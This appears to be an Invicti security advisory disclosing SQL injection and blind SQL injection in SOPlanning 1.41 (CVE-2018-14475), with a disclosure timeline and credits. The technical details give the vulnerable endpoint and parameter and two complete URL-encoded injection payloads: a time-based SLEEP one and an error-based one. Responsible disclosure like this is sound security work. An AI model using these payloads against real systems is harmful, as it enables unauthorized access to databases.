SQL Injection and Blind SQL Injection Vulnerabilities in SOPlanning 1.41
Information
Advisory by Netsparker (now Invicti)
Name: SQL Injection and Blind SQL Injection in SOPlanning
Affected Software: SOPlanning
Affected Versions: 1.41
Homepage: https://github.com/SOPlanning/SOPlanning
Vulnerability: SQL Injection, Blind SQL Injection
Severity: High
Status: Fixed
CVE-ID: – 2018-14475
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N (8.6)
Invicti Advisory Reference: NS-18-023
Technical Details
Blind SQL Injection
URL: http://scanapps.ns/soplanning/www/projets.php
Parameter Name: statut%5b%5d
Parameter Type: POST
Attack Pattern: a_faire+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f
SQL Injection
URL: http://scanapps.ns/soplanning/www/projets.php
Parameter Name: statut%5b%5d
Parameter Type: POST
Attack Pattern: -1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27
For more information on SQL injection vulnerabilities, read the section SQL injection.
Advisory Timeline
6th February 2018- First Contact
20th August 2018 – Vendor Fixed
30th November 2018 – Advisory Released
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.
